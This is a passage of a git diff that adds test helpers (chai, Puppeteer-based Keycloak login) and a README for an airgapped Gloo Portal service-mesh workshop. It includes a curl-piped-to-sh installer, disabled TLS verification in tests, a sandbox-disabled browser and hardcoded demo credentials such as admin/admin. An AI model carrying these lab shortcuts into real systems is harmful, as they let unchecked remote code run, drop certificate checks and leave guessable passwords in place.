utils.sleep(1000); + } + cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + if(responseContains!=""){ + cli.stdout.should.contain(responseContains); + } + }, + getOutputForCommand: ({ command }) => { + let cli = chaiExec(command); + return cli.stdout; + }, +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); diff --git a/gloo-mesh/gateway/2-5/airgap/portal/tests/chai-http.js b/gloo-mesh/gateway/2-5/airgap/portal/tests/chai-http.js new file mode 100644 index 0000000000..d0b8a42277 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/portal/tests/chai-http.js @@ -0,0 +1,63 @@ +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const utils = require('./utils'); + +process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'; + +global = { + checkURL: ({ host, path = "", headers = [], retCode }) => { + let request = chai.request(host).head(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + }, + checkBody: ({ host, path = "", headers = [], body = '', match = true }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + if (match) { + expect(res.text).to.contain(body); + } else { + expect(res.text).not.to.contain(body); + } + }); + }, + checkHeaders: ({ host, path = "", headers = [], expectedHeaders = [] }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expectedHeaders.forEach(header => expect(res.header[header.key]).to.equal(header.value)); + }); + }, + checkWithMethod: ({ host, path, headers = [], method = "get", retCode }) => { + let request + if (method === "get") { + request = chai.request(host).get(path).redirects(0); + } else if (method === "post") { + request = chai.request(host).post(path).redirects(0); + } else if (method === "put") { + request = chai.request(host).put(path).redirects(0); + } else { + throw 'The requested method is not implemented.' + } + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + } +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/portal/tests/keycloak-token.js b/gloo-mesh/gateway/2-5/airgap/portal/tests/keycloak-token.js new file mode 100644 index 0000000000..3ac1a691db --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/portal/tests/keycloak-token.js @@ -0,0 +1,4 @@ +const keycloak = require('./keycloak'); +const { argv } = require('node:process'); + +keycloak.getKeyCloakCookie(argv[2], argv[3]); diff --git a/gloo-mesh/gateway/2-5/airgap/portal/tests/keycloak.js b/gloo-mesh/gateway/2-5/airgap/portal/tests/keycloak.js new file mode 100644 index 0000000000..aae79f0fdc --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/portal/tests/keycloak.js @@ -0,0 +1,41 @@ +const puppeteer = require('puppeteer'); +//const utils = require('./utils'); + +global = { + getKeyCloakCookie: async (url, user) => { + const browser = await puppeteer.launch({ + headless: "new", + ignoreHTTPSErrors: true, + args: ['--no-sandbox', '--disable-setuid-sandbox'], // needed for instruqt + }); + const page = await browser.newPage(); + await page.goto(url); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Enter credentials + //await page.waitForSelector('#username'); + //await page.waitForSelector('#password'); + await page.type('#username', user); + await page.type('#password', 'password'); + await page.click('#kc-login'); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Retrieve session cookie + const cookies = await page.cookies(); + const sessionCookie = cookies.find(cookie => cookie.name === 'keycloak-session'); + let ret; + if (sessionCookie) { + ret = `${sessionCookie.name}=${sessionCookie.value}`; // Construct the cookie string + } else { + console.error(` No session cookie found for ${user}`); + ret = "keycloak-session=dummy"; + } + await browser.close(); + console.log(ret); + return ret; + } +}; + +module.exports = global; diff --git a/gloo-mesh/gateway/2-5/airgap/portal/tests/utils.js b/gloo-mesh/gateway/2-5/airgap/portal/tests/utils.js new file mode 100644 index 0000000000..9747efaa2c --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/portal/tests/utils.js @@ -0,0 +1,13 @@ +global = { + sleep: ms => new Promise(resolve => setTimeout(resolve, ms)), + waitOnFailedTest: (done, currentRetry) => { + if(currentRetry > 0){ + process.stdout.write("."); + setTimeout(done, 1000); + } else { + done(); + } + } +}; + +module.exports = global; \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/README.md b/gloo-mesh/gateway/2-5/airgap/standalone-portal/README.md new file mode 100644 index 0000000000..4c7a750e72 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone-portal/README.md @@ -0,0 +1,3372 @@ + + + + + +![Gloo Mesh Enterprise](images/gloo-mesh-enterprise.png) +#
Gloo Portal (2.5.0)
+ + + +## Table of Contents +* [Introduction](#introduction) +* [Lab 1 - Deploy a KinD cluster](#lab-1---deploy-a-kind-cluster-) +* [Lab 2 - Prepare airgap environment](#lab-2---prepare-airgap-environment-) +* [Lab 3 - Deploy and register Gloo Mesh](#lab-3---deploy-and-register-gloo-mesh-) +* [Lab 4 - Deploy the Bookinfo demo app](#lab-4---deploy-the-bookinfo-demo-app-) +* [Lab 5 - Deploy the httpbin demo app](#lab-5---deploy-the-httpbin-demo-app-) +* [Lab 6 - Deploy Gloo Mesh Addons](#lab-6---deploy-gloo-mesh-addons-) +* [Lab 7 - Create the gateways workspace](#lab-7---create-the-gateways-workspace-) +* [Lab 8 - Create the bookinfo workspace](#lab-8---create-the-bookinfo-workspace-) +* [Lab 9 - Expose the productpage through a gateway](#lab-9---expose-the-productpage-through-a-gateway-) +* [Lab 10 - Create the httpbin workspace](#lab-10---create-the-httpbin-workspace-) +* [Lab 11 - Deploy Keycloak](#lab-11---deploy-keycloak-) +* [Lab 12 - Expose the productpage API securely](#lab-12---expose-the-productpage-api-securely-) +* [Lab 13 - Expose an external API and stitch it with another one](#lab-13---expose-an-external-api-and-stitch-it-with-another-one-) +* [Lab 14 - Expose the dev portal backend](#lab-14---expose-the-dev-portal-backend-) +* [Lab 15 - Deploy and expose the dev portal frontend](#lab-15---deploy-and-expose-the-dev-portal-frontend-) +* [Lab 16 - Allow users to create their own API keys](#lab-16---allow-users-to-create-their-own-api-keys-) +* [Lab 17 - Dev portal monetization](#lab-17---dev-portal-monetization-) +* [Lab 18 - Deploy Backstage with the backend plugin](#lab-18---deploy-backstage-with-the-backend-plugin-) + + + +## Introduction + +[Gloo Mesh Enterprise](https://www.solo.io/products/gloo-mesh/) is a management plane which makes it easy to operate [Istio](https://istio.io) on one or many Kubernetes clusters deployed anywhere (any platform, anywhere). + +### Istio support + +The Gloo Mesh Enterprise subscription includes end to end Istio support: + +- Upstream first +- Specialty builds available (FIPS, ARM, etc) +- Long Term Support (LTS) N-4 +- Critical security patches +- Production break-fix +- One hour SLA Severity 1 +- Install / upgrade +- Architecture and operational guidance, best practices + +### Gloo Mesh overview + +Gloo Mesh provides many unique features, including: + +- multi-tenancy based on global workspaces +- zero trust enforcement +- global observability (centralized metrics and access logging) +- simplified cross cluster communications (using virtual destinations) +- advanced gateway capabilities (oauth, jwt, transformations, rate limiting, web application firewall, ...) + +![Gloo Mesh graph](images/gloo-mesh-graph.png) + +### Want to learn more about Gloo Mesh + +You can find more information about Gloo Mesh in the official documentation: + +[https://docs.solo.io/gloo-mesh/latest/](https://docs.solo.io/gloo-mesh/latest/) + + + + +## Lab 1 - Deploy a KinD cluster + + +Clone this repository and go to the directory where this `README.md` file is. + +Set the context environment variables: + +```bash +export MGMT=cluster1 +export CLUSTER1=cluster1 +``` + +Run the following commands to deploy a Kubernetes cluster using [Kind](https://kind.sigs.k8s.io/): + +```bash +./scripts/deploy.sh 1 cluster1 us-west us-west-1 +``` + +Then run the following commands to wait for all the Pods to be ready: + +```bash +./scripts/check.sh cluster1 +``` + +**Note:** If you run the `check.sh` script immediately after the `deploy.sh` script, you may see a jsonpath error. If that happens, simply wait a few seconds and try again. + +Once the `check.sh` script completes, when you execute the `kubectl get pods -A` command, you should see the following: + +``` +NAMESPACE NAME READY STATUS RESTARTS AGE +kube-system calico-kube-controllers-59d85c5c84-sbk4k 1/1 Running 0 4h26m +kube-system calico-node-przxs 1/1 Running 0 4h26m +kube-system coredns-6955765f44-ln8f5 1/1 Running 0 4h26m +kube-system coredns-6955765f44-s7xxx 1/1 Running 0 4h26m +kube-system etcd-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-apiserver-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-controller-manager-cluster1-control-plane1/1 Running 0 4h27m +kube-system kube-proxy-ksvzw 1/1 Running 0 4h26m +kube-system kube-scheduler-cluster1-control-plane 1/1 Running 0 4h27m +local-path-storage local-path-provisioner-58f6947c7-lfmdx 1/1 Running 0 4h26m +metallb-system controller-5c9894b5cd-cn9x2 1/1 Running 0 4h26m +metallb-system speaker-d7jkp 1/1 Running 0 4h26m +``` + + + + +## Lab 2 - Prepare airgap environment + +Set the registry variable: +```bash +export registry=localhost:5000 +``` + +Pull and push locally the Docker images needed: + +```bash +cat <<'EOF' > images.txt +docker.io/curlimages/curl +djannot/portal-frontend:0.1 +docker.io/bats/bats:v1.4.1 +docker.io/bitnami/clickhouse:23.11.1-debian-11-r1 +docker.io/grafana/grafana:10.0.3 +docker.io/kennethreitz/httpbin +docker.io/nginx:1.25.3 +docker.io/openpolicyagent/opa:0.57.1-debug +docker.io/redis:7.0.14-alpine +gcr.io/gloo-mesh/ext-auth-service:0.55.3 +gcr.io/gloo-mesh/gloo-mesh-agent:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-apiserver:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-envoy:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-mgmt-server:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-portal-server:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-ui:2.5.0 +gcr.io/gloo-mesh/gloo-otel-collector:2.5.0 +gcr.io/gloo-mesh/rate-limiter:0.11.7 +jimmidyson/configmap-reload:v0.8.0 +quay.io/keycloak/keycloak:22.0.5 +quay.io/prometheus/prometheus:v2.41.0 +us-docker.pkg.dev/gloo-mesh/istio-workshops/operator:1.19.3-solo +us-docker.pkg.dev/gloo-mesh/istio-workshops/pilot:1.19.3-solo +us-docker.pkg.dev/gloo-mesh/istio-workshops/proxyv2:1.19.3-solo +EOF + +for url in https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/platform/kube/bookinfo.yaml https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/networking/bookinfo-gateway.yaml +do + for image in $(curl -sfL ${url}|grep image:|awk '{print $2}') + do + echo $image >> images.txt + done +done + +cat images.txt | while read image; do + nohup sh -c "echo $image | xargs -P10 -n1 docker pull" nohup.out 2>nohup.err & +done + +cat images.txt | while read image; do + src=$(echo $image | sed 's/^docker\.io\///g' | sed 's/^library\///g') + dst=$(echo $image | awk -F/ '{ if(NF>3){ print $3"/"$4}else{if(NF>2){ print $2"/"$3}else{if($1=="docker.io"){print $2}else{print $1"/"$2}}}}' | sed 's/^library\///g') + docker pull $image + + id=$(docker images $src --format "{{.ID}}") + + docker tag $id ${registry}/$dst + docker push ${registry}/$dst + dst_dev=$(echo ${dst} | sed 's/gloo-platform-dev/gloo-mesh/') + docker tag $id ${registry}/$dst_dev + docker push ${registry}/$dst_dev +done +``` + + + +## Lab 3 - Deploy and register Gloo Mesh +[VIDEO LINK](https://youtu.be/djfFiepK4GY "Video Link") + + +Before we get started, let's install the `meshctl` CLI: + +```bash +export GLOO_MESH_VERSION=v2.5.0 +curl -sL https://run.solo.io/meshctl/install | sh - +export PATH=$HOME/.gloo-mesh/bin:$PATH +``` + +First, create a secret with the password to use to store access logs in Clickhouse: + +```bash +cat << EOF | kubectl --context ${MGMT} apply -f - +kind: Namespace +apiVersion: v1 +metadata: + name: gloo-mesh +--- +apiVersion: v1 +kind: Secret +metadata: + name: clickhouse-auth + namespace: gloo-mesh +type: Opaque +stringData: + password: password +EOF +``` + +And then, install the Helm charts: + +```bash +kubectl --context ${MGMT} create ns gloo-mesh + +helm upgrade --install gloo-platform-crds gloo-platform-crds \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.5.0 + +helm upgrade --install gloo-platform-mgmt gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.5.0 \ + -f -< + +```bash +export HOST_GW_CLUSTER1="$(kubectl --context ${CLUSTER1} -n istio-gateways get svc -l istio=ingressgateway -o jsonpath='{.items[0].status.loadBalancer.ingress[0].*}')" +``` + + + + +## Lab 4 - Deploy the Bookinfo demo app +[VIDEO LINK](https://youtu.be/nzYcrjalY5A "Video Link") + +We're going to deploy the bookinfo application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](https://istio.io/latest/docs/examples/bookinfo/). +Update the registry in our bookinfo manifests: + +```bash +sed -i'' -e "s/image: docker.io/image: ${registry}/g" \ + data/steps/deploy-bookinfo/productpage-v1.yaml \ + data/steps/deploy-bookinfo/details-v1.yaml \ + data/steps/deploy-bookinfo/ratings-v1.yaml \ + data/steps/deploy-bookinfo/reviews-v1-v2.yaml \ + data/steps/deploy-bookinfo/reviews-v3.yaml +``` + +Run the following commands to deploy the bookinfo application on `cluster1`: + +```bash +kubectl --context ${CLUSTER1} create ns bookinfo-frontends +kubectl --context ${CLUSTER1} create ns bookinfo-backends +# Deploy the frontend bookinfo service in the bookinfo-frontends namespace +kubectl --context ${CLUSTER1} -n bookinfo-frontends apply -f data/steps/deploy-bookinfo/productpage-v1.yaml + +# Deploy the backend bookinfo services in the bookinfo-backends namespace for all versions less than v3 +kubectl --context ${CLUSTER1} -n bookinfo-backends apply \ + -f data/steps/deploy-bookinfo/details-v1.yaml \ + -f data/steps/deploy-bookinfo/ratings-v1.yaml \ + -f data/steps/deploy-bookinfo/reviews-v1-v2.yaml + +# Update the reviews service to display where it is coming from +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v1 CLUSTER_NAME=${CLUSTER1} +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v2 CLUSTER_NAME=${CLUSTER1} +``` + + + +You can check that the app is running using the following command: + +``` +kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods && kubectl --context ${CLUSTER1} -n bookinfo-backends get pods +``` + +Note that we deployed the `productpage` service in the `bookinfo-frontends` namespace and the other services in the `bookinfo-backends` namespace. + +And we deployed the `v1` and `v2` versions of the `reviews` microservice, not the `v3` version. + + + + + +## Lab 5 - Deploy the httpbin demo app +[VIDEO LINK](https://youtu.be/w1xB-o_gHs0 "Video Link") + +We're going to deploy the httpbin application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](http://httpbin.org/). + +Run the following commands to deploy the httpbin app on `cluster1`. The deployment will be called `not-in-mesh` and won't have the sidecar injected (because we don't label the namespace). + +```bash +kubectl --context ${CLUSTER1} create ns httpbin +kubectl apply --context ${CLUSTER1} -f - </dev/null +do + sleep 1 + echo -n . +done" +echo +--> + +You can follow the progress using the following command: + +```bash +kubectl --context ${CLUSTER1} -n httpbin get pods +``` + +```,nocopy +NAME READY STATUS RESTARTS AGE +not-in-mesh-5c64bb49cd-m9kwm 1/1 Running 0 11s +``` + + + + +## Lab 6 - Deploy Gloo Mesh Addons +[VIDEO LINK](https://youtu.be/_rorug_2bk8 "Video Link") + +To use the Gloo Mesh Gateway advanced features (external authentication, rate limiting, ...), you need to install the Gloo Mesh addons. + +First, you need to create a namespace for the addons, with Istio injection enabled: + +```bash +kubectl --context ${CLUSTER1} create namespace gloo-mesh-addons +kubectl --context ${CLUSTER1} label namespace gloo-mesh-addons istio.io/rev=1-19 --overwrite +``` + +Then, you can deploy the addons on the cluster(s) using Helm: + +```bash +timeout 2m bash -c "until [[ \$(kubectl --context ${MGMT} -n istio-system get deploy istiod-1-19 -o json | jq '.status.availableReplicas') -gt 0 ]]; do + sleep 1 +done" +helm upgrade --install gloo-platform gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh-addons \ + --kube-context ${CLUSTER1} \ + --version 2.5.0 \ + -f -< ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Gloo Platform add-ons cluster1 deployment", () => { + let cluster = process.env.CLUSTER1 + let deployments = ["ext-auth-service", "rate-limiter"]; + deployments.forEach(deploy => { + it(deploy + ' pods are ready in ' + cluster, () => helpers.checkDeployment({ context: cluster, namespace: "gloo-mesh-addons", k8sObj: deploy })); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-gloo-mesh-addons/tests/check-addons-deployments.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +This is what the environment looks like now: + +![Gloo Platform Workshop Environment](images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg) + + + +## Lab 7 - Create the gateways workspace +[VIDEO LINK](https://youtu.be/QeVBH0eswWw "Video Link") + +We're going to create a workspace for the team in charge of the Gateways. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `gateways` workspace which corresponds to the `istio-gateways` and the `gloo-mesh-addons` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < + +We're going to create a workspace for the team in charge of the Bookinfo application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `bookinfo` workspace which corresponds to the `bookinfo-frontends` and `bookinfo-backends` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < +[VIDEO LINK](https://youtu.be/emyIu99AOOA "Video Link") + +In this step, we're going to expose the `productpage` service through the Ingress Gateway using Gloo Mesh. + +The Gateway team must create a `VirtualGateway` to configure the Istio Ingress Gateway in cluster1 to listen to incoming requests. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-http'); + +describe("Productpage is available (HTTP)", () => { + it('/productpage is available in cluster1', () => helpers.checkURL({ host: `http://cluster1-bookinfo.example.com`, path: '/productpage', retCode: 200 })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/gateway-expose/tests/productpage-available.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Gloo Mesh translates the `VirtualGateway` and `RouteTable` into the corresponding Istio objects (`Gateway` and `VirtualService`). + +Now, let's secure the access through TLS. +Let's first create a private key and a self-signed certificate: + +```bash +openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ + -keyout tls.key -out tls.crt -subj "/CN=*" +``` + +Then, you have to store them in a Kubernetes secret running the following commands: + +```bash +kubectl --context ${CLUSTER1} -n istio-gateways create secret generic tls-secret \ + --from-file=tls.key=tls.key \ + --from-file=tls.crt=tls.crt +``` + +Finally, the Gateway team needs to update the `VirtualGateway` to use this secret: + +```bash +kubectl apply --context ${CLUSTER1} -f - <. + +Notice that we specificed a minimumProtocolVersion, so if the client is trying to use an deprecated TLS version the request will be denied. + +To test this, we can try to send a request with `tlsv1.2`: + +```console +curl --tlsv1.2 --tls-max 1.2 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +You should get the following output: + +```nocopy +curl: (35) error:1409442E:SSL routines:ssl3_read_bytes:tlsv1 alert protocol version +``` + +Now, you can try the most recent `tlsv1.3`: + +```console +curl --tlsv1.3 --tls-max 1.3 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +And after this you should get the actual Productpage. + + + +This diagram shows the flow of the request (through the Istio Ingress Gateway): + +![Gloo Mesh Gateway](images/steps/gateway-expose/gloo-mesh-gateway.svg) + + + + +## Lab 10 - Create the httpbin workspace + +We're going to create a workspace for the team in charge of the httpbin application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `httpbin` workspace which corresponds to the `httpbin` namespace on `cluster1`: + +```bash +kubectl apply --context ${MGMT} -f - < + +In many use cases, you need to restrict the access to your applications to authenticated users. + +OpenID Connect (OIDC) is an identity layer on top of the OAuth 2.0 protocol. In OAuth 2.0 flows, authentication is performed by an external Identity Provider (IdP) which, in case of success, returns an Access Token representing the user identity. The protocol does not define the contents and structure of the Access Token, which greatly reduces the portability of OAuth 2.0 implementations. + +The goal of OIDC is to address this ambiguity by additionally requiring Identity Providers to return a well-defined ID Token. OIDC ID tokens follow the JSON Web Token standard and contain specific fields that your applications can expect and handle. This standardization allows you to switch between Identity Providers – or support multiple ones at the same time – with minimal, if any, changes to your downstream services; it also allows you to consistently apply additional security measures like Role-Based Access Control (RBAC) based on the identity of your users, i.e. the contents of their ID token. + +In this lab, we're going to install Keycloak. It will allow us to setup OIDC workflows later. + +Let's install it: + +```bash +kubectl --context ${MGMT} create namespace keycloak + +kubectl apply --context ${MGMT} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Keycloak", () => { + it('keycloak pods are ready in cluster1', () => helpers.checkDeployment({ context: process.env.MGMT, namespace: "keycloak", k8sObj: "keycloak" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-keycloak/tests/pods-available.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +Then, we will configure it and create two users: + +- User1 credentials: `user1/password` + Email: user1@example.com + +- User2 credentials: `user2/password` + Email: user2@solo.io + + + +Let's set the environment variables we need: + +```bash +export ENDPOINT_KEYCLOAK=$(kubectl --context ${MGMT} -n keycloak get service keycloak -o jsonpath='{.status.loadBalancer.ingress[0].*}'):8080 +export HOST_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK%:*}) +export PORT_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK##*:}) +export KEYCLOAK_URL=http://${ENDPOINT_KEYCLOAK} +``` + + + + +Now, we need to get a token: + +```bash +export KEYCLOAK_TOKEN=$(curl -Ssm 10 --fail-with-body \ + -d "client_id=admin-cli" \ + -d "username=admin" \ + -d "password=admin" \ + -d "grant_type=password" \ + "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | + jq -r .access_token) +``` + +After that, we configure Keycloak: + +```bash +# Create initial token to register the client +read -r client token <<<$(curl -Ssm 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "expiration": 0, "count": 1 }' \ + $KEYCLOAK_URL/admin/realms/master/clients-initial-access | + jq -r '[.id, .token] | @tsv') +KEYCLOAK_CLIENT=${client} + +# Register the client +read -r id secret <<<$(curl -Ssm 10 --fail-with-body -H "Authorization: bearer ${token}" -H "Content-Type: application/json" \ + -d '{ "clientId": "'${KEYCLOAK_CLIENT}'" }' \ + ${KEYCLOAK_URL}/realms/master/clients-registrations/default | + jq -r '[.id, .secret] | @tsv') +KEYCLOAK_SECRET=${secret} + +# Add allowed redirect URIs +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -X PUT -d '{ "serviceAccountsEnabled": true, "directAccessGrantsEnabled": true, "authorizationServicesEnabled": true, "redirectUris": ["'https://cluster1-httpbin.example.com'/*","'https://cluster1-portal.example.com'/*","'https://cluster1-backstage.example.com'/*"] }' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id} + +# Set access token lifetime to 30m (default is 1m) +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -X PUT -d '{ "accessTokenLifespan": 1800 }' \ + ${KEYCLOAK_URL}/admin/realms/master + +# Add the group attribute in the JWT token returned by Keycloak +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "name": "group", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": { "claim.name": "group", "jsonType.label": "String", "user.attribute": "group", "id.token.claim": "true", "access.token.claim": "true" } }' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id}/protocol-mappers/models + +# Add the show_personal_data attribute in the JWT token returned by Keycloak +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "name": "show_personal_data", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": { "claim.name": "show_personal_data", "jsonType.label": "String", "user.attribute": "show_personal_data", "id.token.claim": "true", "access.token.claim": "true"} } ' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id}/protocol-mappers/models + +# Create first user +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "username": "user1", "email": "user1@example.com", "enabled": true, "attributes": { "group": "users" }, "credentials": [ { "type": "password", "value": "password", "temporary": false } ] }' \ + ${KEYCLOAK_URL}/admin/realms/master/users + +# Create second user +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "username": "user2", "email": "user2@solo.io", "enabled": true, "attributes": { "group": "users", "show_personal_data": false }, "credentials": [ { "type": "password", "value": "password", "temporary": false } ] }' \ + ${KEYCLOAK_URL}/admin/realms/master/users + +``` + +> **Note:** If you get a *Not Authorized* error, please, re-run the following command and continue from the command that started to fail: + +``` +KEYCLOAK_TOKEN=$(curl -m 2 -d "client_id=admin-cli" -d "username=admin" -d "password=admin" -d "grant_type=password" "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | jq -r .access_token) +``` + + + + +## Lab 12 - Expose the productpage API securely +[VIDEO LINK](https://youtu.be/pkzeYaTj9k0 "Video Link") + + +Gloo Platform includes a developer portal, which is well integrated with its core API. + +Let's start with API discovery. + +Annotate the `productpage` service to allow the Gloo Platform agent to discover its API: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-frontends annotate service productpage gloo.solo.io/scrape-openapi-source=https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/swagger.yaml --overwrite +kubectl --context ${CLUSTER1} -n bookinfo-frontends annotate service productpage gloo.solo.io/scrape-openapi-pull-attempts="3" --overwrite +kubectl --context ${CLUSTER1} -n bookinfo-frontends annotate service productpage gloo.solo.io/scrape-openapi-retry-delay=5s --overwrite +kubectl --context ${CLUSTER1} -n bookinfo-frontends annotate service productpage gloo.solo.io/scrape-openapi-use-backoff="true" --overwrite +``` + + + +An `APIDoc` Kubernetes object should be automatically created: + +```shell +kubectl --context ${CLUSTER1} -n bookinfo-frontends get apidoc productpage-service -o yaml +``` + + + +You should get something like this: + +```yaml,nocopy +apiVersion: apimanagement.gloo.solo.io/v2 +kind: ApiDoc +metadata: + creationTimestamp: "2023-04-05T06:48:33Z" + generation: 1 + labels: + reconciler.mesh.gloo.solo.io/name: schema-reporter-service + name: productpage-service + namespace: bookinfo-frontends + resourceVersion: "116408" + uid: 2ae9188c-713e-4ba3-86a6-8689f55cda0f +spec: + openapi: + inlineString: '{"components":{"schemas":{"Product":{"description":"Basic information + about a product","properties":{"descriptionHtml":{"description":"Description + of the book - may contain HTML tags","type":"string"},"id":{"description":"Product + id","format":"int32","type":"integer"},"title":{"description":"Title of the + book","type":"string"}},"required":["id","title","descriptionHtml"],"type":"object"},"ProductDetails":{"description":"Detailed + information about a product","properties":{"ISBN-10":{"description":"ISBN-10 + of the book","type":"string"},"ISBN-13":{"description":"ISBN-13 of the book","type":"string"},"author":{"description":"Author + of the book","type":"string"},"id":{"description":"Product id","format":"int32","type":"integer"},"language":{"description":"Language + of the book","type":"string"},"pages":{"description":"Number of pages of the + book","format":"int32","type":"integer"},"publisher":{"description":"Publisher + of the book","type":"string"},"type":{"description":"Type of the book","enum":["paperback","hardcover"],"type":"string"},"year":{"description":"Year + the book was first published in","format":"int32","type":"integer"}},"required":["id","publisher","language","author","ISBN-10","ISBN-13","year","type","pages"],"type":"object"},"ProductRatings":{"description":"Object + containing ratings of a product","properties":{"id":{"description":"Product + id","format":"int32","type":"integer"},"ratings":{"additionalProperties":{"type":"string"},"description":"A + hashmap where keys are reviewer names, values are number of stars","type":"object"}},"required":["id","ratings"],"type":"object"},"ProductReviews":{"description":"Object + containing reviews for a product","properties":{"id":{"description":"Product + id","format":"int32","type":"integer"},"reviews":{"description":"List of reviews","items":{"$ref":"#/components/schemas/Review"},"type":"array"}},"required":["id","reviews"],"type":"object"},"Rating":{"description":"Rating + of a product","properties":{"color":{"description":"Color in which stars should + be displayed","enum":["red","black"],"type":"string"},"stars":{"description":"Number + of stars","format":"int32","maximum":5,"minimum":1,"type":"integer"}},"required":["stars","color"],"type":"object"},"Review":{"description":"Review + of a product","properties":{"rating":{"$ref":"#/components/schemas/Rating"},"reviewer":{"description":"Name + of the reviewer","type":"string"},"text":{"description":"Review text","type":"string"}},"required":["reviewer","text"],"type":"object"}}},"externalDocs":{"description":"Learn + more about the Istio BookInfo application","url":"https://istio.io/docs/samples/bookinfo.html"},"info":{"description":"This + is the API of the Istio BookInfo sample application.","license":{"name":"Apache + 